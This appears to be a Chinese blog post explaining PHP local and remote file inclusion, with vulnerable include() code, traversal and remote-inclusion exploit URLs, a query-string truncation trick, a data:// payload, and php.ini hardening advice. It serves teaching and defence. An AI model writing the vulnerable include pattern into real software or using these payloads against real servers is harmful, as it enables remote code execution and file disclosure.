php本地文件包含&远程文件包含
来源:互联网 发布:淘宝工业产品许可证号 编辑:程序博客网 时间:2024/04/29 08:23
由头:面试的时候被问到了,有些东西还是实践的太少,写此博客记录一下。
php文件包含函数:
include()
require()
include_once()
require_once()
本地文件包含:
<?php #存在本地文件包含的代码include($_GET['test']);?>
exploit:
包含当前目录的 lfi.txt(内容为<?php phpinfo();?>):
跨目录包含:
http://localhost:81/lfi/lfi.php?test=../lfi.txt #包含上层目录的lfi.txt文件http://localhost:81/lfi/lfi.php?test=/lfi_in/lfi.txt #包含内层目录的lfi.txt文件
防御:
防止跨目录:
在php.ini中设置open_basedir
open_basedir = C:\Program Files\phpStudy\WWW\lfi #限制在当前目录下(包括子目录)open_basedir = C:\Program Files\phpStudy\WWW\lfi\ #限制在当前目录下(不包括子目录)
open_basedir可被绕过:wooyun链接
防止本地文件包含:
使用枚举
$file =$_GET['test'];switch ($file) {case 'lfi.txt':include('./lfi.txt');break;default:include('./notexists.txt');break;}?>
远程文件包含:
<?phpinclude($_GET['file'].'txt');?>
exploit:
http://localhost:81/lfi/rfi.php?file=http://ip_address/php/rfi/rfi.txt?
技巧:?被解释成url中的querystring,可用来在 远程文件包含 时 截断 代码中后面内容。
防御:
php.ini配置文件里allow_url_include=off
文件包含利用技巧:
1.远程文件包含时 利用 data:// (>5.2.0) 或者 input://协议
/rfi.php?file=data:text/plain,<?php%20phpinfo();?>
附:php的安全配置
Register_globals =off
Open_basedir
Allow_url_include =off
Display_errors =off
Log_errors = on
Magic_quotes_gpc =off
Cgi.fix_pathinfo
Session.cookie_httponly
1 0
- php本地文件包含&远程文件包含
- php远程文件包含漏洞
- PHP本地文件包含(LFI)漏洞利用
- PHP本地文件包含(LFI)漏洞利用
- PHP本地文件包含(LFI)漏洞利用
- php文件包含
- php文件包含
- php中的文件包含
- PHP中的文件包含
- PHP包含文件
- php包含文件路径
- PHP文件包含语句
- PHP 包含文件
- PHP文件包含详解
- PHP文件包含漏洞
- php中的文件包含
- php包含文件意思
- PHP 远程文件包含的介绍和代码防御
- POJ 3669
- (Algorithm)不相交集(Disjoint-set)
- 最少跳数到达末尾(Jump Game)
- Hibernate HQL
- hdu1358kmp串循环节
- php本地文件包含&远程文件包含
- 在Windows下搭建基于nginx的视频直播和点播系统
- iOS——UIView复习总结
- 不用临时变量交换两个变量的值
- Maven构建Struts2+Hibernate+Spring web项目
- Android Studio Error:Could not read entry ':app:packageDebug' from cache taskArtifacts.bin
- 第六周项目(1)-分数类雏形
- 编译windows版nginx-rtmp-module
- YouKu iOS笔试题二